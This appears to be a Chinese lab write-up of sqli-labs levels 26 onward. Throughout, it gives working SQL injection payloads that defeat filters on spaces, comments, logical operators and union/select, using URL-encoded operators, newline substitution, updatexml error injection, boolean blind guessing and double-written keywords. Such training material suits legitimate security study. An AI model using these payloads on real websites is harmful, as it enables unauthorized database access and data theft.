环境:windows 7 里通过phpstudy2018部署的sqli-labs。
前面几关的文章已经写完,但是突然浏览器就卡死了,我也没有点保存为草稿,浏览器崩溃后提示out of memery,给我整崩溃了,所以前面那些关就不写了,其实也没太难的点,就从26关开始继续吧。
在这一关里提示空格和注释都会被过滤,下面进行测试。
?id=1' //页面报错
?id=1" //页面输出正常,说明是单引号闭合。双引号不闭合是因为发生了隐匿类型转换,mysql只取了1,而忽略了"
?id=1'or'1'='1 //页面输出正常,但是提示信息里发现or被过滤掉了

在使用空格的时候,网上查资料说有好多可以代替,但是我没有用成功。发现使用||代替or,或者使用&&来代替and是可以使用的。而且报错注入里使用到的空格较少,可以使用报错注入尝试:
?id=1' %26%26updatexml(1,concat(0x7e,database(),0x7e),1)||'1'='1
上面这个语句中有几点需要说明:
- 中间的逻辑运算符,我可以全使用
||或者全使用&&也是没有问题的。或者交叉使用也没有问题。 - 在使用
&&时,不能直接写&&,而要写它的url编码形式,即%26%26这样的ascii码的十六进制表示。 - 在最右边之所以又添加了一个`||'1'='1,是为了闭合源代码中的原始sql中参数id右边的单引号
查了一些资料知道,当数据发送给服务器时,服务器首先会进行参数解析,其次再对解析后的参数进行url解码记住这点。下面来解释为什么使用&&不行,使用编码后%26%26行:
1、url中是不允许有特殊字符,当在web上提交带有&这种特殊字符的数据时,也就是我们原始数据里确实是需要有&这种特殊字符时,浏览器会自动进行编码,也就是用%26来表示,不需要我们手动进行编码;
2、&在http中本身是一个特殊字符,用于分割参数,当登录网站输入用户名与密码时,实际提交的post表单数据里形式:username=aaa&password=ccc,发送给服务器的数据也是这种。当服务器接收到这个表单数据时,就会以&为分割符进行参数解析,解析出来一个username=aaa,一个password参数=ccc
3、拿上面使用的注入语句来说。如果写的是&&,那在进行参数解析时,以&为分割符首先拿到的是id的值为1',会拼接到原语句中。而右边的&号会与updatexml连在一起,变成&updatexml,这就不是一个有效的函数了,从而导致sql构造失败
4、使用%26%26时,语句中并没有&,因此参数解析不受影响。其次再进行url解码,还原为&&后整个语句会被看作一个整体,带入到源代码中的sql语句里,从而保留其在sql中的逻辑运算能力。
因为我是在hackbar工具里测试,工具并不会把数据自动进行url编码,通过bp抓包也会发现,当写&&时,发送给服务器的也就是&&。所以使用hackerbar工具时,需要我们手动进行编码后,再进行测试。
这一关主要是需要明白上面说的这些点,了解了这些后,就可以继续使用报错注入来进行测试了。
这一关里也是过滤了空格、注释和逻辑运算符or,and。这里我们可以使用一些替代方案:替代空格:用 MySQL 支持的控制字符(如换行符%0a、制表符%09),逻辑运算符就是&&替代and,用||代替or。
判断注入点:
?id=1'%0a%26%26%0a'1'='1 //这里其实就是?id=1' && '1'='1,发现页面显示正常
?id=1'%0a%26%26%0a'1'='2 //这里其实就是?id=1' && '1'='2 , 发现页面显示异常
从上面可以判断页面对于条件的真假显示不同,我们就可以使用布尔盲注来测试了。使用报错注入测试时,页面上没有显示,所以报错注入是行不通的。
?id=1'%0a%26%26%0asubstr(database(),1,1)='s'%0a%26%26%0a'1'='1 猜测数据库名的第一个字母是不是's'
后面就再一一展示
这一关过滤了union和select,这时我们可以尝试使用报错注入试试:
?id=1' and%0aupdatexml(1,concat(0x7e,database(),0x7e),1) and 'a //获取数据库名
?id=1'%0aand%0aupdatexml(1,concat(0x7e,(SELect%0agroup_concat(table_name)%0afrom%0ainformation_schema.tables%0awhere%0a table_schema='security'),0x7e),1)%0aand 'a //获取表名,这说明没有对大写进行转换
这一关跟27关一样,只不过是双引号。
?id=1"%0a and %0asubstr(database(),1,1)='s' %0a and %0a "1"="1 //判断数据库名的第一个字母是不是's'
这一关也是过滤了union select还有空格等。原始语句:$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
1.先进行注入点测试:
?id=1 //输出正常
?id=1' //输出异常,说明有单引号
?id=1')or(' //输出正常,说明有小括号
不能使用注释,又有小括号,也不能使用union select。这时我们就要考虑使用双写来绕过,还要考虑小括号单引号闭合。
?id=0')uniunion%0aselecton%0aselect%0a 1,database(),%0a('1'='1 //获取数据库名
上面这个语句需要解释一下。解释如下:
1.开始的0是为了让id不成立,转而执行右边union
2.接着的uniunion%0aselecton%0aselect其实就是 uniunion selecton select,因为代码中会把union select删除,刚好剩下的部分就组合成了union select
3.union select右边给了三个参数:1,database(),('1'='1 这里第三个参数('1'='1是为了被代入代码中的sql原始语句里与id右半部分小括号形成闭合,进而组成一个逻辑表达式
后续注入只需要在union的第二个参数中进行编写语句就行。
这一关跟28关一样,但是这里补充一下新发现的mysql单引号闭合的原理。还是老方法,先判断闭合的注入点是什么,假设注入点id在语句中是('$id'),带有单引号和小括号的。这时可以又如下方法判断:
?id=1 //显示正常
?id=1' //显示异常,说明单引号在这里破坏了语法结构,判断里面有可能是有单引号
?id=1" //显示正常,这是使用的双引号,说明它不影响语法,因此可以判断是单引号,而非双引号
?id=1')or(' //显示正常,这就判断是小括号加单引号闭合,语句变成 where id=('1') or ('') 因此得到id=1的查询条件
为什么会让我产生对单引号闭合的问题呢,原因是我在测试时,在第二个步骤里用了两个单引号,结果页面显示正常:
?id=1''
这样一来,语句就是where id=('1'''),那为什么使用两个单引号就正常,使用一个就异常的,于是我就产生了这样的问题。下面就来解释一下,不过下面是AI的回答,供参考,也解释的通:
先来说一下使用两个单引号的情况:
1.即id=('1''')。MySQL在解析时,把1左边的单引号识别成字符串开始标记,1右边两个连续的单引号被转义为一个单引号,注意,转义后MySQL把它当做是字符串的内容了,最右边一个单引号被认为是字符串结束标记。
2.这样转化后的id值就是'1'':开始标记'+字符内容1'+结束标记'。从语法上看是没有问题的,而在执行的时候,由于表结构中id是一个整形,但是我们的内容里id的值是1',包含了一个特殊字符单引号,mysql会进行隐式的类型转换,即取内容中第一个为数字的字符,而截断剩下的单引号,MySQL就会提示:Truncated incorrect DOUBLE value: '1''表示发生了截断。
其次再来说使用一个单引号的异常问题:
1.使用一个单引号时,语句就是where id=('1'')。MySQL在解析时,1左边的单引号被认为是字符串的开始标记,右边的两个单引号被转义为一个单引号,做为字符串的内容。接下来却缺少了结束标记,这也就是语法报错的原因。虽然从字面上看id的值为'1',虽然看起来完成了单引号的闭合,但是真正被MySQL解释时,右边的单引号是被它看做内容的,这样一来就缺少了结束标记单引号,这也就是报错原因。
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf
客服小蜜蜂(微信:freebee1024)



